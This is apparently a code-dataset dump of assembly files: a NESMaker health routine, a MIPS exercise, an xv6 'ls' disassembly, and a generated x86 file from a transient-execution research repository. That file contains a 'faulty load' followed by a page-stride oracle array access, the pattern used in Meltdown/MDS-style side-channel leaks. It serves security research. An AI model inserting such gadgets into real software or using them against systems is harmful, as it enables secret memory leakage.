hexsha stringlengths 40 40 | size int64 6 1.05M | ext stringclasses 3 values | lang stringclasses 1 value | max_stars_repo_path stringlengths 4 232 | max_stars_repo_name stringlengths 7 106 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses listlengths 1 7 | max_stars_count int64 1 33.5k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 232 | max_issues_repo_name stringlengths 7 106 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses listlengths 1 7 | max_issues_count int64 1 37.5k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 232 | max_forks_repo_name stringlengths 7 106 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses listlengths 1 7 | max_forks_count int64 1 12.6k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 6 1.05M | avg_line_length float64 1.16 19.7k | max_line_length int64 2 938k | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
77839c3896e87e4c038be6242616814324fd59f3 | 792 | asm | Assembly | 4.0.x/LongVarHUD/Powerup_IncreaseHealth.asm | chronosv2/NESMaker_Public_Code_Repository | d0a67b33d673fbff332fa4ae36d3465f73b87bba | [
"Unlicense"
] | 6 | 2019-08-09T19:53:33.000Z | 2021-12-09T03:51:59.000Z | 4.0.x/LongVarHUD/Powerup_IncreaseHealth.asm | chronosv2/NESMaker_Public_Code_Repository | d0a67b33d673fbff332fa4ae36d3465f73b87bba | [
"Unlicense"
] | null | null | null | 4.0.x/LongVarHUD/Powerup_IncreaseHealth.asm | chronosv2/NESMaker_Public_Code_Repository | d0a67b33d673fbff332fa4ae36d3465f73b87bba | [
"Unlicense"
] | null | null | null | ;;; Increase Health code for player.
;;; works with variable myHealth
;;; works with HUD variable HUD_myHealth.
TXA
STA tempx
LDX player1_object
LDA Object_health,x
CLC
ADC #$01
CMP #$11 ;16 HP max so check for 17
BCS skipGettingHealth
;;;you may want to test against a MAX HEALTH.
;;; this could be a static number in which case you could just check against that number
;;; or it could be a variable you set up which may change as you go through the game.
STA Object_health,x
IFDEF SCR_LONG_BARS ;If the script is defined
.include SCR_LONG_BARS ;Load the script
LongBar myHealth,myHealthHi,HUD_myHealth,HUD_myHealthHi ;Run the code. Change these to the names of your Health HUD Variables.
ENDIF
LDX tempx
skipGettingHealth:
PlaySound #SFX_INCREASE_HEALTH | 31.68 | 129 | 0.755051 |
8b55c42dc31d434713d002c3cb76f552590b0ebe | 84 | asm | Assembly | LPS/Esercizi/26.04.2022_compito/es2.asm | Giacomix02/esercitazioni-java | a2c1ffa073240d08ee50a4e0b6088165230f21bf | [
"MIT"
] | 3 | 2021-12-10T16:28:19.000Z | 2022-03-29T13:50:19.000Z | LPS/Esercizi/26.04.2022_compito/es2.asm | Giacomix02/Codice-Univaq-Informatica | a2c1ffa073240d08ee50a4e0b6088165230f21bf | [
"MIT"
] | 1 | 2021-12-07T14:39:52.000Z | 2021-12-07T14:39:52.000Z | LPS/Esercizi/26.04.2022_compito/es2.asm | Giacomix02/Codice-Univaq-Informatica | a2c1ffa073240d08ee50a4e0b6088165230f21bf | [
"MIT"
] | 4 | 2022-03-07T18:47:45.000Z | 2022-03-31T06:42:00.000Z | #specifica 1 MIPS
.text
li $s0,0x12345678
li $s1,0x8010001
or $s0,$s0,$s1
#GIUSTO! | 12 | 17 | 0.702381 |
f5e95ae8d0e425c1592c4ddeddd1aae815111d09 | 7,563 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_ht_zr_/i9-9900K_12_0xca_notsx.log_21829_1542.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_ht_zr_/i9-9900K_12_0xca_notsx.log_21829_1542.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_ht_zr_/i9-9900K_12_0xca_notsx.log_21829_1542.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r13
push %r15
push %r9
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x1e3, %rdi
nop
nop
nop
nop
nop
cmp $12872, %r12
movups (%rdi), %xmm7
vpextrq $1, %xmm7, %r9
nop
nop
nop
nop
nop
cmp %r11, %r11
lea addresses_D_ht+0xdc53, %rcx
nop
nop
nop
nop
nop
add %r13, %r13
mov (%rcx), %r15
nop
nop
nop
cmp $62249, %r12
lea addresses_UC_ht+0x154eb, %rcx
nop
xor $40902, %r11
vmovups (%rcx), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $0, %xmm6, %rdi
nop
nop
add %r12, %r12
lea addresses_WC_ht+0x17e63, %r11
nop
inc %rdi
mov $0x6162636465666768, %r13
movq %r13, (%r11)
nop
dec %r11
lea addresses_normal_ht+0x162e3, %rcx
nop
inc %r15
vmovups (%rcx), %ymm3
vextracti128 $1, %ymm3, %xmm3
vpextrq $0, %xmm3, %r12
nop
nop
nop
nop
cmp %r13, %r13
lea addresses_WT_ht+0x19ae3, %rcx
nop
nop
add $18653, %r9
vmovups (%rcx), %ymm6
vextracti128 $1, %ymm6, %xmm6
vpextrq $1, %xmm6, %r12
nop
nop
add %rcx, %rcx
lea addresses_normal_ht+0x16889, %r13
nop
nop
nop
nop
and $18782, %rdi
mov $0x6162636465666768, %rcx
movq %rcx, (%r13)
nop
and $24529, %r15
lea addresses_normal_ht+0x1c233, %r15
add $61293, %r11
mov (%r15), %r12w
nop
nop
nop
nop
nop
dec %r15
lea addresses_UC_ht+0xc6a3, %rdi
nop
xor %r13, %r13
mov $0x6162636465666768, %r15
movq %r15, %xmm6
vmovups %ymm6, (%rdi)
nop
nop
cmp %rdi, %rdi
lea addresses_D_ht+0xcabb, %r13
nop
nop
nop
nop
and $34273, %rcx
mov (%r13), %r12d
nop
nop
nop
nop
nop
cmp %r12, %r12
lea addresses_D_ht+0x5ce3, %r15
nop
nop
nop
nop
nop
cmp $28504, %r12
movb (%r15), %r11b
nop
nop
nop
nop
nop
sub %r11, %r11
lea addresses_WC_ht+0x82c3, %rsi
lea addresses_D_ht+0x42b3, %rdi
nop
sub %r13, %r13
mov $63, %rcx
rep movsw
sub $12987, %rcx
lea addresses_A_ht+0x10cf2, %r12
nop
nop
nop
sub $46728, %r11
movw $0x6162, (%r12)
nop
xor %rcx, %rcx
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r15
pop %r13
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r14
push %r15
push %r8
push %rax
push %rbp
// Store
lea addresses_WT+0x36a3, %r13
nop
nop
nop
lfence
mov $0x5152535455565758, %rax
movq %rax, %xmm5
movups %xmm5, (%r13)
cmp $14473, %r13
// Faulty Load
lea addresses_UC+0x44e3, %r14
nop
nop
nop
nop
nop
sub $53309, %r8
movaps (%r14), %xmm7
vpextrq $1, %xmm7, %r15
lea oracles, %r14
and $0xff, %r15
shlq $12, %r15
mov (%r14,%r15,1), %r15
pop %rbp
pop %rax
pop %r8
pop %r15
pop %r14
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 6}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_UC', 'NT': False, 'AVXalign': True, 'size': 16, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 7}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 4}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 6}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 9}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': True, 'AVXalign': False, 'size': 8, 'congruent': 1}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 4}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 4}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D_ht', 'NT': True, 'AVXalign': False, 'size': 4, 'congruent': 3}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 10}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 4, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 2, 'type': 'addresses_D_ht'}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}}
{'49': 928, '44': 994, '48': 12548, '47': 2267, '00': 5092}
48 44 48 47 48 48 48 00 00 48 47 47 48 00 00 48 00 48 48 48 00 48 48 48 48 00 48 00 00 48 48 47 48 48 48 00 00 48 00 00 48 00 00 47 44 00 48 48 48 48 48 00 48 48 48 00 00 47 48 44 00 00 48 48 00 48 48 00 00 48 00 00 00 48 48 48 48 48 47 00 49 47 48 48 48 00 00 48 48 44 47 48 48 48 48 48 48 48 49 47 48 48 48 48 49 48 00 48 48 48 49 48 48 49 47 00 48 44 48 00 48 48 48 00 49 48 00 00 48 48 48 00 48 48 48 44 00 48 48 48 48 48 47 48 48 48 00 00 48 48 47 48 48 48 00 48 47 44 48 48 48 48 00 47 48 00 00 00 48 00 48 48 00 48 00 48 48 48 48 47 00 48 48 49 47 48 48 48 44 48 48 48 47 48 48 48 00 44 47 00 48 00 48 47 47 48 00 48 00 48 47 48 48 48 00 00 48 48 48 48 00 00 47 48 44 47 48 48 48 48 47 44 47 48 00 48 47 48 48 48 44 00 48 48 48 00 00 47 44 00 47 44 00 48 48 47 48 48 48 00 48 48 48 48 48 00 48 48 48 47 48 48 48 00 00 47 00 00 44 49 48 00 00 48 48 44 44 47 48 49 48 44 48 48 48 48 48 48 48 48 00 48 48 47 48 48 48 00 48 00 48 48 48 44 48 48 48 47 48 48 48 48 00 48 48 48 00 00 48 48 47 48 48 48 00 00 48 00 00 48 44 47 48 00 00 49 48 48 48 00 44 47 00 00 48 48 49 48 48 48 48 48 00 48 48 48 00 48 48 48 00 48 48 48 44 48 47 44 00 48 00 44 00 00 00 48 48 48 48 44 48 48 48 44 48 48 00 48 48 48 48 47 44 00 48 44 48 48 00 00 48 44 48 48 00 48 48 48 48 44 48 00 00 48 44 47 00 48 00 00 48 48 49 48 44 44 47 48 49 47 00 48 48 48 47 48 48 44 48 47 48 48 48 48 49 48 00 48 47 47 48 48 48 48 00 48 00 48 48 48 48 48 48 48 48 48 00 48 48 00 48 48 48 44 00 48 48 47 44 47 48 44 47 48 48 48 48 48 00 47 48 00 48 00 48 48 48 48 48 48 00 48 48 00 48 48 44 47 47 48 48 47 48 48 44 49 48 48 48 44 47 48 00 48 48 47 00 48 48 00 48 48 48 47 48 48 48 48 48 48 48 48 00 48 48 00 48 48 00 00 48 00 48 48 44 00 48 00 48 48 48 48 47 47 48 00 00 48 00 48 48 00 48 48 00 48 47 48 49 48 00 00 48 48 00 48 48 48 00 00 48 48 48 49 48 48 48 00 48 48 48 00 48 47 44 48 48 44 48 47 47 48 48 48 47 00 48 48 49 47 49 00 48 00 00 47 48 49 48 00 48 00 48 00 48 48 00 48 48 48 00 00 48 48 48 48 48 48 47 49 47 48 48 48 48 48 47 48 48 48 44 48 48 48 00 48 48 48 00 44 47 00 00 44 49 48 48 48 00 48 48 44 48 48 48 48 47 00 47 48 48 00 48 49 48 00 48 48 48 48 47 48 48 48 48 48 48 44 48 48 00 48 00 48 00 48 47 44 48 00 48 00 44 49 00 48 48 48 00 48 48 48 00 48 48 48 44 48 00 48 48 49 47 48 47 00 48 00 44 48 00 48 48 49 48 48 48 48 48 48 48 49 48 48 48 48 00 48 00 48 00 48 48 48 48 47 48 48 44 49 48 00 48 00 48 00 48 48 48 47 47 48 48 48 48 48 48 48 00 48 48 00 00 48 00 00 48 44 48 48 48 47 49 47 48 00 00 47 49 48 48 49 48 48 00 48 48 00 00 48 00 00 00 48 00 00 48 00 00 48 00 48 48 00 48 47 48 48 47 44 00 48 00 00 48 44 47 48 48 00 00 00 48 00 48 00 48 48 47 49 48 48 00 48 47 47 48 00 47 48 47 00 48 44 48 48 00 48 48 00 48 48 00 00 47 48 48 48 48 48 49 48 48 48 48 48 00 44 47 48 48 48 00 00 48 00 48 48 00 48 47 48 00 00 48 48 49 48 48 48 48 47 48 00 48 48 00 48 48 48 49 47 49 00 48 00 00 47 48 48 48 00 48 48 49 44 48 48 47 48 47 48 48 00 48 48 48 00 00 48 48 48 48 48 48 49 47 48 00 00 48 00 00 47 49 48 48 49 44 48
*/
| 33.914798 | 2,999 | 0.654767 |
3203beef77a9c72cd67b64667103245485240f2d | 55,748 | asm | Assembly | ls.asm | mtreffert/xv6-staus-treffert | eb739a9297b3bddcae1d4ed30745ad05744dc01e | [
"Xnet",
"X11"
] | null | null | null | ls.asm | mtreffert/xv6-staus-treffert | eb739a9297b3bddcae1d4ed30745ad05744dc01e | [
"Xnet",
"X11"
] | null | null | null | ls.asm | mtreffert/xv6-staus-treffert | eb739a9297b3bddcae1d4ed30745ad05744dc01e | [
"Xnet",
"X11"
] | 1 | 2021-02-16T11:57:21.000Z | 2021-02-16T11:57:21.000Z |
_ls: file format elf32-i386
Disassembly of section .text:
00000000 <fmtname>:
#include "user.h"
#include "fs.h"
char*
fmtname(char *path)
{
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 56 push %esi
4: 53 push %ebx
5: 83 ec 10 sub $0x10,%esp
8: 8b 5d 08 mov 0x8(%ebp),%ebx
static char buf[DIRSIZ+1];
char *p;
// Find first character after last slash.
for(p=path+strlen(path); p >= path && *p != '/'; p--)
b: 89 1c 24 mov %ebx,(%esp)
e: e8 cd 03 00 00 call 3e0 <strlen>
13: 01 d8 add %ebx,%eax
15: 73 10 jae 27 <fmtname+0x27>
17: eb 13 jmp 2c <fmtname+0x2c>
19: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
20: 83 e8 01 sub $0x1,%eax
23: 39 c3 cmp %eax,%ebx
25: 77 05 ja 2c <fmtname+0x2c>
27: 80 38 2f cmpb $0x2f,(%eax)
2a: 75 f4 jne 20 <fmtname+0x20>
;
p++;
2c: 8d 58 01 lea 0x1(%eax),%ebx
// Return blank-padded name.
if(strlen(p) >= DIRSIZ)
2f: 89 1c 24 mov %ebx,(%esp)
32: e8 a9 03 00 00 call 3e0 <strlen>
37: 83 f8 0d cmp $0xd,%eax
3a: 77 53 ja 8f <fmtname+0x8f>
return p;
memmove(buf, p, strlen(p));
3c: 89 1c 24 mov %ebx,(%esp)
3f: e8 9c 03 00 00 call 3e0 <strlen>
44: 89 5c 24 04 mov %ebx,0x4(%esp)
48: c7 04 24 90 0a 00 00 movl $0xa90,(%esp)
4f: 89 44 24 08 mov %eax,0x8(%esp)
53: e8 58 04 00 00 call 4b0 <memmove>
memset(buf+strlen(p), ' ', DIRSIZ-strlen(p));
58: 89 1c 24 mov %ebx,(%esp)
5b: e8 80 03 00 00 call 3e0 <strlen>
60: 89 1c 24 mov %ebx,(%esp)
63: bb 90 0a 00 00 mov $0xa90,%ebx
68: 89 c6 mov %eax,%esi
6a: e8 71 03 00 00 call 3e0 <strlen>
6f: ba 0e 00 00 00 mov $0xe,%edx
74: 29 f2 sub %esi,%edx
76: 89 54 24 08 mov %edx,0x8(%esp)
7a: c7 44 24 04 20 00 00 movl $0x20,0x4(%esp)
81: 00
82: 05 90 0a 00 00 add $0xa90,%eax
87: 89 04 24 mov %eax,(%esp)
8a: e8 71 03 00 00 call 400 <memset>
return buf;
}
8f: 83 c4 10 add $0x10,%esp
92: 89 d8 mov %ebx,%eax
94: 5b pop %ebx
95: 5e pop %esi
96: 5d pop %ebp
97: c3 ret
98: 90 nop
99: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
000000a0 <ls>:
void
ls(char *path)
{
a0: 55 push %ebp
a1: 89 e5 mov %esp,%ebp
a3: 57 push %edi
a4: 56 push %esi
a5: 53 push %ebx
a6: 81 ec 5c 02 00 00 sub $0x25c,%esp
ac: 8b 7d 08 mov 0x8(%ebp),%edi
char buf[512], *p;
int fd;
struct dirent de;
struct stat st;
if((fd = open(path, 0)) < 0){
af: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
b6: 00
b7: 89 3c 24 mov %edi,(%esp)
ba: e8 19 05 00 00 call 5d8 <open>
bf: 85 c0 test %eax,%eax
c1: 89 c3 mov %eax,%ebx
c3: 0f 88 c7 01 00 00 js 290 <ls+0x1f0>
printf(2, "ls: cannot open %s\n", path);
return;
}
if(fstat(fd, &st) < 0){
c9: 8d 75 c8 lea -0x38(%ebp),%esi
cc: 89 74 24 04 mov %esi,0x4(%esp)
d0: 89 04 24 mov %eax,(%esp)
d3: e8 18 05 00 00 call 5f0 <fstat>
d8: 85 c0 test %eax,%eax
da: 0f 88 00 02 00 00 js 2e0 <ls+0x240>
printf(2, "ls: cannot stat %s\n", path);
close(fd);
return;
}
switch(st.type){
e0: 0f b7 45 d0 movzwl -0x30(%ebp),%eax
e4: 66 83 f8 01 cmp $0x1,%ax
e8: 74 66 je 150 <ls+0xb0>
ea: 66 83 f8 02 cmp $0x2,%ax
ee: 66 90 xchg %ax,%ax
f0: 74 16 je 108 <ls+0x68>
}
printf(1, "%s %d %d %d\n", fmtname(buf), st.type, st.ino, st.size);
}
break;
}
close(fd);
f2: 89 1c 24 mov %ebx,(%esp)
f5: e8 c6 04 00 00 call 5c0 <close>
}
fa: 81 c4 5c 02 00 00 add $0x25c,%esp
100: 5b pop %ebx
101: 5e pop %esi
102: 5f pop %edi
103: 5d pop %ebp
104: c3 ret
105: 8d 76 00 lea 0x0(%esi),%esi
return;
}
switch(st.type){
case T_FILE:
printf(1, "%s %d %d %d\n", fmtname(path), st.type, st.ino, st.size);
108: 8b 55 d4 mov -0x2c(%ebp),%edx
10b: 8b 75 cc mov -0x34(%ebp),%esi
10e: 89 3c 24 mov %edi,(%esp)
111: 89 95 bc fd ff ff mov %edx,-0x244(%ebp)
117: e8 e4 fe ff ff call 0 <fmtname>
11c: 8b 95 bc fd ff ff mov -0x244(%ebp),%edx
122: 89 74 24 10 mov %esi,0x10(%esp)
126: c7 44 24 0c 02 00 00 movl $0x2,0xc(%esp)
12d: 00
12e: c7 44 24 04 56 0a 00 movl $0xa56,0x4(%esp)
135: 00
136: 89 54 24 14 mov %edx,0x14(%esp)
13a: c7 04 24 01 00 00 00 movl $0x1,(%esp)
141: 89 44 24 08 mov %eax,0x8(%esp)
145: e8 d6 05 00 00 call 720 <printf>
break;
14a: eb a6 jmp f2 <ls+0x52>
14c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
case T_DIR:
if(strlen(path) + 1 + DIRSIZ + 1 > sizeof buf){
150: 89 3c 24 mov %edi,(%esp)
153: e8 88 02 00 00 call 3e0 <strlen>
158: 83 c0 10 add $0x10,%eax
15b: 3d 00 02 00 00 cmp $0x200,%eax
160: 0f 87 0a 01 00 00 ja 270 <ls+0x1d0>
printf(1, "ls: path too long\n");
break;
}
strcpy(buf, path);
166: 8d 85 c8 fd ff ff lea -0x238(%ebp),%eax
16c: 89 7c 24 04 mov %edi,0x4(%esp)
170: 8d 7d d8 lea -0x28(%ebp),%edi
173: 89 04 24 mov %eax,(%esp)
176: e8 e5 01 00 00 call 360 <strcpy>
p = buf+strlen(buf);
17b: 8d 95 c8 fd ff ff lea -0x238(%ebp),%edx
181: 89 14 24 mov %edx,(%esp)
184: e8 57 02 00 00 call 3e0 <strlen>
189: 8d 95 c8 fd ff ff lea -0x238(%ebp),%edx
18f: 8d 04 02 lea (%edx,%eax,1),%eax
*p++ = '/';
192: c6 00 2f movb $0x2f,(%eax)
195: 83 c0 01 add $0x1,%eax
198: 89 85 c4 fd ff ff mov %eax,-0x23c(%ebp)
19e: 66 90 xchg %ax,%ax
while(read(fd, &de, sizeof(de)) == sizeof(de)){
1a0: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
1a7: 00
1a8: 89 7c 24 04 mov %edi,0x4(%esp)
1ac: 89 1c 24 mov %ebx,(%esp)
1af: e8 fc 03 00 00 call 5b0 <read>
1b4: 83 f8 10 cmp $0x10,%eax
1b7: 0f 85 35 ff ff ff jne f2 <ls+0x52>
if(de.inum == 0)
1bd: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp)
1c2: 74 dc je 1a0 <ls+0x100>
continue;
memmove(p, de.name, DIRSIZ);
1c4: 8d 45 da lea -0x26(%ebp),%eax
1c7: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp)
1ce: 00
1cf: 89 44 24 04 mov %eax,0x4(%esp)
1d3: 8b 95 c4 fd ff ff mov -0x23c(%ebp),%edx
1d9: 89 14 24 mov %edx,(%esp)
1dc: e8 cf 02 00 00 call 4b0 <memmove>
p[DIRSIZ] = 0;
1e1: 8b 85 c4 fd ff ff mov -0x23c(%ebp),%eax
if(stat(buf, &st) < 0){
1e7: 8d 95 c8 fd ff ff lea -0x238(%ebp),%edx
*p++ = '/';
while(read(fd, &de, sizeof(de)) == sizeof(de)){
if(de.inum == 0)
continue;
memmove(p, de.name, DIRSIZ);
p[DIRSIZ] = 0;
1ed: c6 40 0e 00 movb $0x0,0xe(%eax)
if(stat(buf, &st) < 0){
1f1: 89 74 24 04 mov %esi,0x4(%esp)
1f5: 89 14 24 mov %edx,(%esp)
1f8: e8 e3 02 00 00 call 4e0 <stat>
1fd: 85 c0 test %eax,%eax
1ff: 0f 88 b3 00 00 00 js 2b8 <ls+0x218>
printf(1, "ls: cannot stat %s\n", buf);
continue;
}
printf(1, "%s %d %d %d\n", fmtname(buf), st.type, st.ino, st.size);
205: 0f bf 45 d0 movswl -0x30(%ebp),%eax
209: 8b 55 d4 mov -0x2c(%ebp),%edx
20c: 8b 4d cc mov -0x34(%ebp),%ecx
20f: 89 85 c0 fd ff ff mov %eax,-0x240(%ebp)
215: 8d 85 c8 fd ff ff lea -0x238(%ebp),%eax
21b: 89 04 24 mov %eax,(%esp)
21e: 89 95 bc fd ff ff mov %edx,-0x244(%ebp)
224: 89 8d b8 fd ff ff mov %ecx,-0x248(%ebp)
22a: e8 d1 fd ff ff call 0 <fmtname>
22f: 8b 95 bc fd ff ff mov -0x244(%ebp),%edx
235: 89 54 24 14 mov %edx,0x14(%esp)
239: 8b 8d b8 fd ff ff mov -0x248(%ebp),%ecx
23f: 89 4c 24 10 mov %ecx,0x10(%esp)
243: 8b 95 c0 fd ff ff mov -0x240(%ebp),%edx
249: 89 44 24 08 mov %eax,0x8(%esp)
24d: c7 44 24 04 56 0a 00 movl $0xa56,0x4(%esp)
254: 00
255: c7 04 24 01 00 00 00 movl $0x1,(%esp)
25c: 89 54 24 0c mov %edx,0xc(%esp)
260: e8 bb 04 00 00 call 720 <printf>
265: e9 36 ff ff ff jmp 1a0 <ls+0x100>
26a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
printf(1, "%s %d %d %d\n", fmtname(path), st.type, st.ino, st.size);
break;
case T_DIR:
if(strlen(path) + 1 + DIRSIZ + 1 > sizeof buf){
printf(1, "ls: path too long\n");
270: c7 44 24 04 63 0a 00 movl $0xa63,0x4(%esp)
277: 00
278: c7 04 24 01 00 00 00 movl $0x1,(%esp)
27f: e8 9c 04 00 00 call 720 <printf>
break;
284: e9 69 fe ff ff jmp f2 <ls+0x52>
289: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
int fd;
struct dirent de;
struct stat st;
if((fd = open(path, 0)) < 0){
printf(2, "ls: cannot open %s\n", path);
290: 89 7c 24 08 mov %edi,0x8(%esp)
294: c7 44 24 04 2e 0a 00 movl $0xa2e,0x4(%esp)
29b: 00
29c: c7 04 24 02 00 00 00 movl $0x2,(%esp)
2a3: e8 78 04 00 00 call 720 <printf>
printf(1, "%s %d %d %d\n", fmtname(buf), st.type, st.ino, st.size);
}
break;
}
close(fd);
}
2a8: 81 c4 5c 02 00 00 add $0x25c,%esp
2ae: 5b pop %ebx
2af: 5e pop %esi
2b0: 5f pop %edi
2b1: 5d pop %ebp
2b2: c3 ret
2b3: 90 nop
2b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(de.inum == 0)
continue;
memmove(p, de.name, DIRSIZ);
p[DIRSIZ] = 0;
if(stat(buf, &st) < 0){
printf(1, "ls: cannot stat %s\n", buf);
2b8: 8d 85 c8 fd ff ff lea -0x238(%ebp),%eax
2be: 89 44 24 08 mov %eax,0x8(%esp)
2c2: c7 44 24 04 42 0a 00 movl $0xa42,0x4(%esp)
2c9: 00
2ca: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2d1: e8 4a 04 00 00 call 720 <printf>
continue;
2d6: e9 c5 fe ff ff jmp 1a0 <ls+0x100>
2db: 90 nop
2dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
printf(2, "ls: cannot open %s\n", path);
return;
}
if(fstat(fd, &st) < 0){
printf(2, "ls: cannot stat %s\n", path);
2e0: 89 7c 24 08 mov %edi,0x8(%esp)
2e4: c7 44 24 04 42 0a 00 movl $0xa42,0x4(%esp)
2eb: 00
2ec: c7 04 24 02 00 00 00 movl $0x2,(%esp)
2f3: e8 28 04 00 00 call 720 <printf>
close(fd);
2f8: 89 1c 24 mov %ebx,(%esp)
2fb: e8 c0 02 00 00 call 5c0 <close>
return;
300: e9 f5 fd ff ff jmp fa <ls+0x5a>
305: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
309: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000310 <main>:
close(fd);
}
int
main(int argc, char *argv[])
{
310: 55 push %ebp
311: 89 e5 mov %esp,%ebp
313: 83 e4 f0 and $0xfffffff0,%esp
316: 57 push %edi
317: 56 push %esi
318: 53 push %ebx
int i;
if(argc < 2){
ls(".");
exit();
319: bb 01 00 00 00 mov $0x1,%ebx
close(fd);
}
int
main(int argc, char *argv[])
{
31e: 83 ec 14 sub $0x14,%esp
321: 8b 75 08 mov 0x8(%ebp),%esi
324: 8b 7d 0c mov 0xc(%ebp),%edi
int i;
if(argc < 2){
327: 83 fe 01 cmp $0x1,%esi
32a: 7e 1c jle 348 <main+0x38>
32c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
ls(".");
exit();
}
for(i=1; i<argc; i++)
ls(argv[i]);
330: 8b 04 9f mov (%edi,%ebx,4),%eax
if(argc < 2){
ls(".");
exit();
}
for(i=1; i<argc; i++)
333: 83 c3 01 add $0x1,%ebx
ls(argv[i]);
336: 89 04 24 mov %eax,(%esp)
339: e8 62 fd ff ff call a0 <ls>
if(argc < 2){
ls(".");
exit();
}
for(i=1; i<argc; i++)
33e: 39 de cmp %ebx,%esi
340: 7f ee jg 330 <main+0x20>
ls(argv[i]);
exit();
342: e8 51 02 00 00 call 598 <exit>
347: 90 nop
main(int argc, char *argv[])
{
int i;
if(argc < 2){
ls(".");
348: c7 04 24 76 0a 00 00 movl $0xa76,(%esp)
34f: e8 4c fd ff ff call a0 <ls>
exit();
354: e8 3f 02 00 00 call 598 <exit>
359: 90 nop
35a: 90 nop
35b: 90 nop
35c: 90 nop
35d: 90 nop
35e: 90 nop
35f: 90 nop
00000360 <strcpy>:
#include "fcntl.h"
#include "user.h"
char*
strcpy(char *s, char *t)
{
360: 55 push %ebp
361: 31 d2 xor %edx,%edx
363: 89 e5 mov %esp,%ebp
365: 8b 45 08 mov 0x8(%ebp),%eax
368: 53 push %ebx
369: 8b 5d 0c mov 0xc(%ebp),%ebx
36c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
char *os;
os = s;
while((*s++ = *t++) != 0)
370: 0f b6 0c 13 movzbl (%ebx,%edx,1),%ecx
374: 88 0c 10 mov %cl,(%eax,%edx,1)
377: 83 c2 01 add $0x1,%edx
37a: 84 c9 test %cl,%cl
37c: 75 f2 jne 370 <strcpy+0x10>
;
return os;
}
